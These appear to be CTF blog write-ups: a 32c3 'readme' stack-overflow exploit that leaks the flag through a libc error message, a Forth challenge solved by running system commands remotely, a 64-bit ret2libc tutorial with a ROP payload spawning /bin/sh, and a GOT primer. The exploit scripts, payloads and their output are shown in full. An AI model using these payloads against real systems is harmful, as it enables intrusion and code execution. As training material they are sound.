32c3 CTF PWN-200 (readme)

I have not solved this challenge at the time of CTF. But finally i could solve it after the CTF with the help of my Senior.

We are given ELF 64-bit binary with these protections

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH     
No RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH 

and our objective of the challenge is to read a flag that is already loaded in a binary. This binary takes input at two places. First input is through “gets” function and it is stored into the stack. So here is the main vulnerability of the challenge. And the second input is stored in .BSS segment.

So first part of the challenge is to overwrite argv[0] with the address of the flag. So through first input overflow the buffer.

 

➜  readme  python -c 'print "A"*0x218 + __import__("struct").pack("<Q",0x600d20)+ "\n" + "BBBB\n"' | ./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: BBBB terminated
[1]    4910 done       python -c  | 
       4911 abort      ./readme.bin

So this should print out flag, but it printed out the second input which i gave, and started analyzing the binary very clearly and found out

 

   0x400865:	movsxd rdi,ebx
   0x400868:	xor    esi,esi
   0x40086a:	sub    edx,ebx
   0x40086c:	add    rdi,0x600d20
   0x400873:	call   0x400670 <memset@plt>
   0x400878:	mov    edi,0x40094e

there is a memset() which shifts the flag to the other memory location and put out the second input in the location where flag was stored. After debugging i found out the address which is “0x400d20”. So i planned to replace the previous payload with the new address, which it has shifted.

 

➜  readme  python -c 'print "A"*0x218 + __import__("struct").pack("<Q",0x400d20)+ "\n" + "BBBB\n"' | ./readme.bin 
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
[1]    5900 done       python -c  | 
       5901 abort      ./readme.bin

That printed out the flag given in the binary and i tired the same payload for the given socket and gave no output. Here is where i got stuck and couldn’t solve the challenge and later after the CTF “Salls” from team Selfish told me that flag will not get print because it is not coming out from the pipe.

He asked me to find out but i couldn’t figure out a way and later he only told me that when you have to set the environment variable “LIBC_FATAL_STDERR_=1 ” then it gives out the error message through the pipe, and later i got know why the challenge is designed with second input.

from pwn import *

payload = ''
payload += "A"*536
payload += p64(0x400d20) #address of flag after replacing
payload += "A"*8
payload += p64(0x600D20) #address of the second input writing into the env

print payload

env = "LIBC_FATAL_STDERR_=1"

print env

piped to nc 136.243.194.62 1024

➜  readme  python exploit.py | nc 136.243.194.62 1024
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_ELF_caN_b3_pre7ty_we!rd... terminated

Got the flag 🙂

32c3 CTF writeup (Forth-150)

This is one of the easiest challenge that i have solved in this CTF. Before this CTF i didn’t even knew about the existence of  FORTH language and it’s interpreter.

As the challenge says “Connect to 136.243.194.49:1024 and get a shell.” i was bit confused how to get shell, later i got an idea to execute with system command.

➜  ~  nc 136.243.194.49 1024
yForth? v0.2  Copyright (C) 2012  Luca Padovani
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions; see LICENSE for details.
s" ls" system
flag.txt  README.gpl  run.sh  yforth
ok
s" cat flag.txt" system
32C3_a8cfc6174adcb39b8d6dc361e888f17b
ok

pawned the flag and got 150 points 🙂

Return to Libc In 64-bit

For the past so many CTF’s i have been seeing so many binary’s of 64bit so i thought of learning some concepts that has main difference between 64bit and 32bit.
So the main difference is the way you pass arguments. In 32bit you pass the arguments using stack and in 64 bit you use registers.
So the first argument is stored in “rdi“, second in “rsi“, third in “rdx” and forth in “rcx“.
so using that concept we will solve ret2libc. You can download file

 

 

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400606 <+0>:	push   rbp
   0x0000000000400607 <+1>:	mov    rbp,rsp
   0x000000000040060a <+4>:	sub    rsp,0x10
   0x000000000040060e <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000400611 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000400615 <+15>:	mov    edi,0x4006f3
   0x000000000040061a <+20>:	mov    eax,0x0
   0x000000000040061f <+25>:	call   0x400490 <printf@plt>
   0x0000000000400624 <+30>:	mov    eax,0x0
   0x0000000000400629 <+35>:	call   0x4005bc 
   0x000000000040062e <+40>:	mov    eax,0x0
   0x0000000000400633 <+45>:	leave  
   0x0000000000400634 <+46>:	ret    
End of assembler dump.
gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
   0x00000000004005bc <+0>:	push   rbp
   0x00000000004005bd <+1>:	mov    rbp,rsp
   0x00000000004005c0 <+4>:	sub    rsp,0x60
   0x00000000004005c4 <+8>:	lea    rax,[rbp-0x60]
   0x00000000004005c8 <+12>:	mov    edx,0x190
   0x00000000004005cd <+17>:	mov    rsi,rax
   0x00000000004005d0 <+20>:	mov    edi,0x0
   0x00000000004005d5 <+25>:	call   0x4004a0 <read@plt>
   0x00000000004005da <+30>:	mov    DWORD PTR [rbp-0x4],eax
   0x00000000004005dd <+33>:	lea    rdx,[rbp-0x60]
   0x00000000004005e1 <+37>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005e4 <+40>:	mov    esi,eax
   0x00000000004005e6 <+42>:	mov    edi,0x4006c4
   0x00000000004005eb <+47>:	mov    eax,0x0
   0x00000000004005f0 <+52>:	call   0x400490 <printf@plt>
   0x00000000004005f5 <+57>:	mov    edi,0x4006df
   0x00000000004005fa <+62>:	call   0x400480 <puts@plt>
   0x00000000004005ff <+67>:	mov    eax,0x0
   0x0000000000400604 <+72>:	leave  
   0x0000000000400605 <+73>:	ret    
End of assembler dump.

so after observing the disassembling and after some work, read() inputs more then the buffer size. So taking advantage of this vulnerability we can overwrite the instruction pointer with some other arbitrary address.

So let’s our aim be breaking a shell, for that i am using “System” function and supply  “/bin/sh” as argument. As it is 64 bit our first argument must be in “rdi” register.

The below exploit will give out you a payload to capture a shell.

from  pwn import *

payload = ''
payload += "A"*104 #Buffer input
payload += p64(0x004006a3) #instuction pop rdi;ret; 
payload += p64(0x4006ff) #address of '/bin/sh'
payload += p64(0x7ffff7a5b640) #address of system

print payload
➜  ret2libc64bit  (cat inp /dev/stdin) | ./classic
Try to exec /bin/sh
Read 129 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(
id
uid=1000(nuc13us) gid=1000(nuc13us) groups=1000(nuc13us),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare)

Here is the shell 😛

HACK Using Global Offset Table

This method is useful when ASLR(Address Space Layout Randomization) is enable or one is unable to overwrite a Instruction Pointer.

Global Offset Table is something like a cache. It actually stores the address of the shared library after the first hit i.e after the first call of their respective shared library. The below diagrams and program will give an detail idea.

#include<stdio.h>

int main(){

printf("This is my first call\n");
printf("This is my secound call\n");

return 0;
}

For the particular program we will absorb the change in the GOT before and after the HIT.

Before the First hit:

plt_before

 

(gdb) disassemble main
Dump of assembler code for function main:
0x0804841d <+0>:    push   ebp
0x0804841e <+1>:    mov    ebp,esp
0x08048420 <+3>:    and    esp,0xfffffff0
0x08048423 <+6>:    sub    esp,0x10
0x08048426 <+9>:    mov    DWORD PTR [esp],0x80484d0
0x0804842d <+16>:    call   0x80482f0 <printf@plt>
0x08048432 <+21>:    mov    DWORD PTR [esp],0x80484e6
0x08048439 <+28>:    call   0x80482f0 <printf@plt>
0x0804843e <+33>:    leave
0x0804843f <+34>:    ret
End of assembler dump.
(gdb) disassemble 0x80482f0
Dump of assembler code for function printf@plt:
0x080482f0 <+0>:    jmp    DWORD PTR ds:0x804a00c
-->0x080482f6 <+6>:    push   0x0
0x080482fb <+11>:    jmp    0x80482e0
End of assembler dump.

When you dissemble the plt of the above printf function and dereference the it before the first HIT,

(gdb) x/wx 0x804a00c
0x804a00c <printf@got.plt>:    0x080482f6

 

So when you absorb the result of the above dereferenced value, it is the address in the second line of the disassembled plt(represented in arrow). As it is the first call it is trying to initialize the value into the GOT by searching the complete libc. To make the system faster it saves the address of the libc in GOT.

After the First HIT:

plt_after

 

 

(gdb) x/wx 0x804a00c
0x804a00c <printf@got.plt>:	0xf7e54280

The address likely seemed to be the printf’s libc.

So the main concept which is to be remembered is, after the first call of the any of libc function, the dereferenced value of their respective GOT is the address of the their respective libc function.

So taking advantage of this functionality What if you change the dereferenced value??

So we will try to hack a program in my next blog 😛